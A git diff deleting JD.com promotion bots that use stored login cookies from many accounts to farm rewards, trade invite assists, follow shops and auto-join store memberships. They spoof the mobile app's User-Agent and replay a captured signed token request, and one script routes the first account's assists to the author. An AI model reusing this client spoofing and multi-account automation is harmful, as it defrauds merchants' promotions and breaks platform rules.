this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_doge.js b/backUp/gua_doge.js deleted file mode 100644 index 8ba296a..0000000 --- a/backUp/gua_doge.js +++ /dev/null @@ -1,481 +0,0 @@ -/* -8.4-8.15 七夕情报局🐶 [gua_doge.js] -———————————————— -一个号10次助力机会 -第一次跑会组队 (组了就不能退 到活动结束 -组队规则: -第1个号和第2个号组队 第3和第4组队 (如果中间有一个号已经组队了 自动顺延到下一个号 -如果没有组队跑了脚本后需要再跑一次才能做地图任务 - -入口:[8.4-8.15 七夕情报局🐶 (https://xinrui1-isv.isvjcloud.com/jd-seventh/?channel=zjy)] - -============Quantumultx=============== -[task_local] -#8.4-8.15 七夕情报局🐶 -36 0,10,21 4-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js, tag=8.4-8.15 七夕情报局🐶, enabled=true - -================Loon============== -[Script] -cron "36 0,10,21 4-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js,tag=8.4-8.15 七夕情报局🐶 - -===============Surge================= -8.4-8.15 七夕情报局🐶 = type=cron,cronexp="36 0,10,21 4-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js - -============小火箭========= -8.4-8.15 七夕情报局🐶 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_doge.js, cronexpr="36 0,10,21 4-15 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.4-8.15 七夕情报局🐶'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -$.Authorization = [] -$.inviter = [] -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - console.log(`入口:\nhttps://xinrui1-isv.isvjcloud.com/jd-seventh/?channel=zjy`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - } - } - console.log('\n\n==================================================\n助力') - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - $.access_token = '' - $.token_type = '' - $.inviteError = 0 - $.inviterFlag = 1 - if($.Authorization[i]){ - $.access_token = $.Authorization[i].access_token - $.token_type = $.Authorization[i].token_type - for(let n in $.inviter){ - if($.inviter[n]){ - $.inviterFlag = 0 - $.inviteCeil = 0 - console.log(`${$.UserName}助力${$.inviter[n]}`) - await taskPost(`invite?inviter_id=${$.inviter[n]}&from_type=1`) - if($.inviteCeil == 1) break - if($.inviteCeil == 2) $.inviter[n] = '' - } - } - if($.inviterFlag) console.log('无助力码') - if($.inviterFlag) return - }else{ - console.log('获取access_token失败!') - } - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - $.isvObfuscator = $.access_token = $.token_type = $.taskList = $.userInfo = $.resTask = $.homeInfo = '' - await isvObfuscator() - if($.isvObfuscator == ''){ - console.log('获取token失败!') - return - } - await userInfo() - if($.access_token == '' || $.token_type == ''){ - console.log('获取access_token失败!') - return - } - await task('get_user_info') - if($.userInfo){ - // console.log($.toStr($.userInfo)) - console.log(`当前有${$.userInfo.coins}枝玫瑰🌹 等级${$.userInfo.level} ${$.userInfo.id} ${$.userInfo.is_join_team == 1 && '已组成特工小队' || '未组特工小队'}`) - $.inviter.push($.userInfo.id) - if($.userInfo.is_join_team === 0){ - if($.joinTeamId){ - console.log(`特工小队:与${$.joinTeamId}组队`) - $.resTask = '' - await taskPost(`map_team_invite?inviter_id=${$.joinTeamId}`) - }else{ - $.joinTeamId = $.userInfo.id - } - } - } - await task('home_task_info') - if($.taskList == ''){ - console.log('获取任务失败!') - // return - }else{ - $.Authorization[$.index-1] = { - "access_token":$.access_token, - "token_type":$.token_type - } - console.log(`每日打卡地图(${$.taskList.light_maps_num}/${$.taskList.maps_num})`) - if($.taskList.light_maps_num < $.taskList.maps_num){ - $.mapList = '' - await task('get_map_list') - if($.mapList != '' && $.mapList.data){ - for (let i = 0; i < $.mapList.data.length; i++) { - $.oneTask = $.mapList.data[i]; - if($.oneTask.is_light != 0 || $.oneTask.is_join_team != 1) continue; - console.log(`打卡地图 ${$.oneTask.id}`) - $.resTask = '' - await taskPost(`map_light?id=${$.oneTask.id}`) - } - } - } - console.log(`邀请好友助力(${$.taskList.today_invites_num}/5)`) - for(let i of $.taskList.invites_list){ - console.log(`助力人员:${i.nickname}`) - } - console.log(`浏览并关注店铺(${$.taskList.task_shops_num}/${$.taskList.shops_num})`) - if($.taskList.task_shops_num < $.taskList.shops_num){ - $.shopList = '' - await task('get_follow_shop_list') - if($.shopList != '' && $.shopList.data){ - for (let i = 0; i < $.shopList.data.length; i++) { - $.oneTask = $.shopList.data[i]; - if($.oneTask.is_follow != 0 && $.oneTask.is_task != 0) continue; - console.log(`关注店铺 ${$.oneTask.name} ${$.oneTask.is_follow} ${$.oneTask.is_task}`) - $.resTask = '' - if($.oneTask.is_follow == 0){ - await taskPost(`follow_shop?id=${$.oneTask.id}`) - }else if($.oneTask.is_task == 0){ - await taskPost(`view_shop?id=${$.oneTask.id}`) - } - } - } - } - console.log(`浏览并加购商品(${$.taskList.task_products_num}/${$.taskList.products_num})`) - if($.taskList.task_products_num < $.taskList.products_num){ - $.productList = '' - await task('get_add_product_list') - if($.productList != '' && $.productList.data){ - for (let i = 0; i < $.productList.data.length; i++) { - $.oneTask = $.productList.data[i]; - if($.oneTask.is_add != 0 && $.oneTask.is_task != 0) continue; - console.log(`加购商品 ${$.oneTask.name}`) - $.resTask = '' - if($.oneTask.is_add == 0){ - await taskPost(`add_product?id=${$.oneTask.id}`) - }else if($.oneTask.is_task == 0){ - await taskPost(`view_product?id=${$.oneTask.id}`) - } - } - } - } - console.log(`浏览会场(${$.taskList.view_meeting_num}/${$.taskList.meeting_num})`) - if($.taskList.view_meeting_num < $.taskList.meeting_num){ - $.meetingList = '' - await task('get_meeting_view_list') - if($.meetingList != '' && $.meetingList.data){ - for (let i = 0; i < $.meetingList.data.length; i++) { - $.oneTask = $.meetingList.data[i]; - if($.oneTask.is_view != 0) continue; - console.log(`浏览会场 ${$.oneTask.name}`) - $.resTask = '' - await taskPost(`meeting_view?id=${$.oneTask.id}`) - } - } - } - console.log(`店铺会员开卡(${$.taskList.open_card_num}/${$.taskList.card_num})`) - console.log(`说情话(${$.taskList.is_chat && '已完成' || '待完成'})`) - if($.taskList.is_chat == 0){ - $.resTask = '' - await taskPost(`chat`) - } - } - - do{ - $.levelUpgrade = false - await task('get_home_info') - if($.homeInfo && $.homeInfo.is_coins_enough){ - - $.levelUpgrade = true - await taskPost(`user_level_upgrade`) - if($.resTask && $.resTask.letter_info){ - console.log('------------------------------\n情书') - let msg = '' - let info = $.resTask.letter_info - if(info.is_win){ - if(info.type == 1){ - msg += `${info.prize}京豆🥔` - }else if(info.type == 4){ - msg += `${info.prize.name} 满${info.prize.setting.quota}减${info.prize.setting.discount}` - }else if(info.type != 0){ - msg += `${$.toStr(info.prize)}` - } - } - console.log(`${$.resTask.letter_info.peroration}\n${$.resTask.letter_info.content}\n收情书获得:${msg || '空气💨'}`) - }else{ - console.log(`收情书:失败${$.toStr($.resTask)}`) - } - $.homeInfo = '' - }else{ - console.log(`------------------------------\n${$.homeInfo && $.homeInfo.coins || $.userInfo && $.userInfo.coins || 0}枝玫瑰🌹 ${$.homeInfo && '需要'+$.homeInfo.need_coins+'枝玫瑰🌹才能兑换[情书]' || '不满足兑换[情书]'}`) - } - }while ($.levelUpgrade) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } catch (e) { - console.log(e) - } -} - -function taskPost(type) { - return new Promise(async resolve => { - $.post({ - url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Authorization": `${$.token_type} ${$.access_token}`, - 'Content-Type':'application/json;charset=utf-8', - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.status_code){ - console.log(res.message + "|" +res.status_code) - if(res.message.indexOf('助力已达') > -1 && res.message.indexOf('上限') > -1){ - $.inviteCeil = 1 - }else if(res.message.indexOf('今日邀请次数') > -1){ - $.inviteCeil = 2 - } - }else if(type.indexOf('follow_shop?id') == 0 || - type.indexOf('view_shop?id') == 0 || - type.indexOf('add_product?id') == 0 || - type.indexOf('view_product?id') == 0 || - type.indexOf('meeting_view?id') == 0 || - type.indexOf('chat') == 0 || - type.indexOf('map_light') == 0 || - type.indexOf('map_team_invite?inviter_id=') == 0 - ){ - $.resTask = res - if($.resTask && $.resTask.add_coins >= 0){ - if(type.indexOf('map_team_invite?inviter_id=') == 0) $.joinTeamId = '' - let msg = '' - if($.resTask.beans){ - msg += `${$.resTask.beans}京豆🥔` - } - if($.resTask.add_coins){ - if(msg) msg += '|' - msg += `${$.resTask.add_coins}枝玫瑰🌹` - } - console.log(`获得:${msg || '空气💨'} 当前有${$.resTask.coins || 0}枝玫瑰🌹`) - } - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - }else if(type.indexOf('user_level_upgrade') == 0){ - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - $.resTask = res - }else if(type.indexOf('invite?inviter_id=') == 0){ - console.log(data) - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - }else{ - console.log(data) - } - }else{ - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} userInfo API请求失败,请检查网路重试`) - }else{ - console.log(data) - } - } - - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function task(type) { - return new Promise(async resolve => { - $.get({ - url: `https://xinrui1-isv.isvjcloud.com/sapi/${type}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Encoding": "gzip, deflate, br", - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Authorization": `${$.token_type} ${$.access_token}`, - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.status_code){ - console.log(res.message + "|" +res.status_code) - }else if(type == 'home_task_info'){ - $.taskList = res - }else if(type == 'get_user_info'){ - $.userInfo = res - }else if(type == 'get_follow_shop_list'){ - $.shopList = res - }else if(type == 'get_add_product_list'){ - $.productList = res - }else if(type == 'get_meeting_view_list'){ - $.meetingList = res - }else if(type == 'get_home_info'){ - $.homeInfo = res - }else if(type == 'get_map_list'){ - $.mapList = res - // }else if(type == ''){ - - }else{ - console.log(data) - } - }else{ - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} userInfo API请求失败,请检查网路重试`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function userInfo() { - return new Promise(async resolve => { - $.post({ - url: `https://xinrui1-isv.isvjcloud.com/sapi/jd-user-info`, - body:`{"token":"${$.isvObfuscator}","source":"01"}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Language": "zh-cn", - "Authorization": "bearer undefined", - "Connection": "keep-alive", - 'Content-Type':'application/json;charset=utf-8', - 'Cookie': cookie, - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.status_code){ - console.log(res.message + "|" +res.status_code) - }else{ - if(res.access_token) $.access_token = res.access_token - if(res.token_type) $.token_type = res.token_type - } - }else{ - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} userInfo API请求失败,请检查网路重试`) - }else{ - console.log(data) - } - } - - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function isvObfuscator() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=54&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3090b2b2997d877191d0aef083b8d985&st=1628230407213&sv=102&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJtgH/sOkA5ELPGCiuUXbsrWcAq%2B0c83LNknkzBXgDXlQ3pq2eMY2enviS/%2BJ6TGkfqBEbO/bQ5%2BKGVjit9RrmNU/D2OwTZ2Bqi/idA2EqDmsJuNS3bvh8kCV4sO4DAHDETkc3g6r8ZeDy72mlQ1hCUss2YaXalY%2BbnkC07OlzyjC8/fuhehBm0g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data) - if(typeof res == 'object'){ - if(res.token) $.isvObfuscator = res.token - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.token); - } - }) - }) -} - - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_olympic_opencard.js b/backUp/gua_olympic_opencard.js deleted file mode 100644 index a43df97..0000000 --- a/backUp/gua_olympic_opencard.js +++ /dev/null @@ -1,612 +0,0 @@ -/* -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会全都助力作者 - -只有前10个邀请的 才有20京豆 -第11个之后是不会有京豆的 - -入口 -https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/6685289?activityId=dz210768869312&shareUuid=58d4dd7248884e2b8ce01393e81b74d0 - -============Quantumultx=============== -[task_local] -#奥运夺金牌开卡 -30 0,22 * * * gua_olympic_opencard.js, tag=奥运夺金牌开卡, img-url=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_olympic_opencard.png, enabled=true - -================Loon============== -[Script] -cron "30 0,22 * * *" script-path=gua_olympic_opencard.js,tag=奥运夺金牌开卡 - -===============Surge================= -奥运夺金牌开卡 = type=cron,cronexp="30 0,22 * * *",wake-system=1,timeout=3600,script-path=gua_olympic_opencard.js - -============小火箭========= -奥运夺金牌开卡 = type=cron,script-path=gua_olympic_opencard.js, cronexpr="30 0,22 * * *", timeout=3600, enable=true -*/ -const $ = new Env('奥运夺金牌开卡'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaolympicopencard || process.env.guaolympicopencard == "false") { - console.log('如需执行脚本请设置环境变量[guaolympicopencard]为"true"') - return - } - } - $.shareUuid = '58d4dd7248884e2b8ce01393e81b74d0' - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - let wxCommonInfoTokenData = await getWxCommonInfoToken(); - $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY - $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE - $.isvObfuscatorToken = await getIsvObfuscatorToken(); - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001') { - $.log("获取活动信息失败!") - continue - } - await getHtml(); - await adLog(); - await getUserInfo(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - $.actorUuid = await getActorUuid(); - await drawContent(); - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - for (let cardList1Element of checkOpenCardData.cardList1) { - $.log('入会: ' + cardList1Element.name) - await $.wait(1000) - await join(cardList1Element.value) - } - for (let cardList1Element of checkOpenCardData.cardList2) { - $.log('入会: ' + cardList1Element.name) - await $.wait(1000) - await join(cardList1Element.value) - } - }else{ - $.log("开完卡: " + checkOpenCardData.allOpenCard) - } - - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - if(checkOpenCardData && checkOpenCardData.score1 